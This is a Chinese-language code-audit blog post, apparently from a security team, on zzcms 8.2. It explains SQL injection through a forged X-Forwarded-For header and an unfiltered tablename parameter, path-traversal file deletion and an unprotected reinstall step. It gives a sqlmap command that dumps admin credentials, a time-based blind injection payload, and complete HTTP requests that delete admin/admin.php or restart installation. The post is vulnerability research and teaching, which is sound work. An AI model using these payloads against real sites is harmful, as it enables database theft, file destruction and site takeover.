红日攻防实验室

红日攻防实验室



代码审计之zzcms8.2实战

微信图片_20180215070732.jpg

前言

最近有了团队,每周的分享交流,让自己的技能也提升了不少。这里我分享出这两天审计zzcms8.2的过程,毕竟是刚搞代码审计,文中若有错误,还望大佬斧正。我相信,一群人在一起踏踏实实做事,总能做出点什么。

sql注入漏洞

首先,"/user/del.php"开头两行包含了两个文件" /inc/conn.php"、"/user/check.php",而" /inc/conn.php"又包含了一些文件,其中要关注的是" /inc/function.php"和" /inc/stopsqlin.php"。其中" /inc/function.php"提供了一些关键的功能函数,而" /inc/stopsqlin.php"则是防止sql注入的。

# "/user/conn.php"文件
include(zzcmsroot."/inc/config.php");
include(zzcmsroot."/inc/wjt.php");
include(zzcmsroot."/inc/function.php");
include(zzcmsroot."/inc/zsclass.php");
include(zzcmsroot."/inc/stopsqlin.php");
include(zzcmsroot."/inc/area.php");

包含" /inc/stopsqlin.php"文件,则会对REQUEST的数据进行过滤,具体代码如下

# "/user/stopsqlin.php"文件
function zc_check($string){
    if(!is_array($string)){
        if(get_magic_quotes_gpc()){
         return htmlspecialchars(trim($string));
        }else{
        return addslashes(htmlspecialchars(trim($string)));
        }
     }
    foreach($string as $k => $v) $string[$k] = zc_check($v);
    return $string;
}
    
if($_REQUEST){
    $_POST =zc_check($_POST);
    $_GET =zc_check($_GET);
    $_COOKIE =zc_check($_COOKIE);
    @extract($_POST);
    @extract($_GET);    
}
function nostr($str){
    $sql_injdata = "',/,\,<,>,�";
    $sql_inj = explode(",",$sql_injdata);
    for ($i=0; $i< count($sql_inj);$i++){
        if (@strpos($str,$sql_inj[$i])!==false){ 
        showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填");
        }
    }
    return $str;//没有的返回值
}

我们来看一下"/user/check.php"函数是否存在可利用的地方,这个文件中有5处SQL语句查询,第一处,无法利用,因为首先参数经过" /inc/stopsqlin.php"消毒处理,且被单引号包裹,无法闭合。

# "/user/check.php"文件
$username=nostr($_COOKIE["UserName"]);
$rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='".$username."' and password='".$_COOKIE["PassWord"]."'");$row=num_rows($rs);

剩下4处SQL语句要想执行,就必须要先进行注册账号。先来看第二处的sql语句。我们再看getip()函数时,可以发现这里的ip可以伪造,而且代码未经任何过滤,仅仅只是用单引号包裹拼接。

# "/user/check.php"文件
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP
# "/inc/function.php"文件
function getip(){ 
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
        $ip = getenv("HTTP_CLIENT_IP"); 
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
        $ip = getenv("HTTP_X_FORWARDED_FOR"); 
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
        $ip = getenv("REMOTE_ADDR"); 
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
        $ip = $_SERVER['REMOTE_ADDR']; 
    else 
        $ip = "unknown"; 
    return($ip); 
} 

那么我们直接用sqlmap跑一下,这里我事先注册好了test用户密码为test,zzcms将用户的密码经md5加密后存在数据库中,结果如下:

sqlmap -r Desktop/test.txt --batch -D zzcms -T zzcms_admin -C "admin,pass" --dump
GET /user/del.php HTTP/1.1
Host: 192.168.1.7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0; UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6
X-Forwarded-For: 111.111.111.111*
Connection: close

1

那么最后剩下的3处sql语句都无法利用,继续往下看。

# "/user/check.php"文件
query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('".$username."','每天登录用户中心送积分','+".jf_login."','','".date('Y-m-d H:i:s')."')");
query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."' WHERE username='".$username."'");//更新最后登录时间

在130多行处,我们发现有一个sql语句直接将$tablename变量直接进行拼接了,而这个$tablename变量可直接从post方式获取,代码未经任何过滤直接拼接,从而引发了sql注入。

# "/user/del.php"文件
if (strpos($id,",")>0)
    $sql="select id,editor from ".$tablename." where id in (". $id .")";
else
    $sql="select id,editor from ".$tablename." where id ='$id'";

作者vr_system于2018-02-07发表了ZZCMS v8.2 最新版SQL注入漏洞(http://www.freebuf.com/vuls/161888.html)一文,文中使用的payload为:id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)# 但是这并不是一个通用payload,因为如果zzcms_answer是一个空表,则该payload无法利用,所以我们改进一下,payload改成如下即可,这里注意不能使用大于号、小于号,因为post上来的数据被addslashes()、htmlspecialchars()、trim()三个函数消毒处理过了。

id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#

2

在"/user/logincheck.php"、"/admin/logincheck.php"中也存在多处由ip导致的sql注入,这里就不一一列举了。

任意文件删除漏洞

该漏洞发生在80多行处的$f变量,该变量直接由"../"$oldimg拼接而得,并未过滤./字符,导致跨目录删除文件。所以按照代码逻辑,我们只要让$img不等于$oldimg,且$action等于"modify"即可。

# "/user/adv.php"文件
.......
if (isset($_REQUEST["img"])){
    $img=$_REQUEST["img"];
}else{
    $img="";
}
if (isset($_REQUEST["oldimg"])){
    $oldimg=$_REQUEST["oldimg"];
}
else{
    $oldimg="";
}
.......
if ($action=="modify"){
  query("update zzcms_textadv set adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0 where username='".$_COOKIE["UserName"]."'");
  if ($oldimg<>$img){
      $f="../".$oldimg;
      if (file_exists($f)){
        unlink($f);
      }
  }
  .......
}

payload如下:

POST /user/adv.php?action=modify HTTP/1.1
Host: 192.168.1.7
Content-Length: 149
Cache-Control: max-age=0
Origin: http://192.168.1.7
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.1.7/user/adv.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0;
Connection: close

adv=tettste&advlink=/zt/show.php?id=1&company=测试&img=test&oldimg=admin/admin.php&Submit3=%E5%8F%91%E5%B8%83

3

同样的漏洞发生在"/user/licence_save.php"30多行处

# "/user/licence_save.php"文件
........
if ($oldimg<>$img && $oldimg<>"/image/nopic.gif"){
    $f="../".$oldimg;
    echo $f."=======<br>";
    if (file_exists($f)){
        unlink($f);
    }
  ........
}
........

payload如下:

POST /user/licence_save.php?action=modify HTTP/1.1
Host: 192.168.1.7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0; 
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

id=1&oldimg=admin/admin.php&img=t

该漏洞还存在于"/user/manage.php"、"/user/ppsave.php"、"/user/zssave.php"、等文件中。

网站重装漏洞

来看一下"/install/index.php"文件的代码流程,发现这里并没有检测"/install/install.lock"文件是否存在,那应该是在其他文件中。

# "/install/index.php"文件
<?php
switch($step) {
    case '1'://协议
        include 'step_'.$step.'.php';
    break;
    case '2'://环境
        ........
        include 'step_'.$step.'.php';
    break;
    case '3'://查目录属性
        include 'step_'.$step.'.php';
    break;
    case '4'://建数据库
        include 'step_'.$step.'.php';
    break;
    case '5'://安装进度
        ........
        include 'step_'.$step.'.php';
?>

然而发现,只有"/install/step_1.php"文件在开头有检测"/install/install.lock"文件是否存在(存在表示已经安装过),其他"/install/step_2.php"、"/install/step_3.php"、"/install/step_4.php"、"/install/step_5.php"、"/install/step_6.php"都少了该判断导致该漏洞的发生。

# "/install/step_1.php"文件
if(file_exists("install.lock")){
    echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
}

所以我们可以跳过第一步的检测,直接访问"/install/step_2.php"文件,payload如下:

POST /install/index.php HTTP/1.1
Host: 192.168.1.7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

step=2

4

结束语

本文属于红日安全《专注新手Web-安全入门到精通》部分文章(本期刊将在年后推出),刚兴趣的朋友可以关注微信公众号:sec-redclub,获取更多精彩内容。

5


作者  :  redBu11



关于我

about me

redBu11

联系我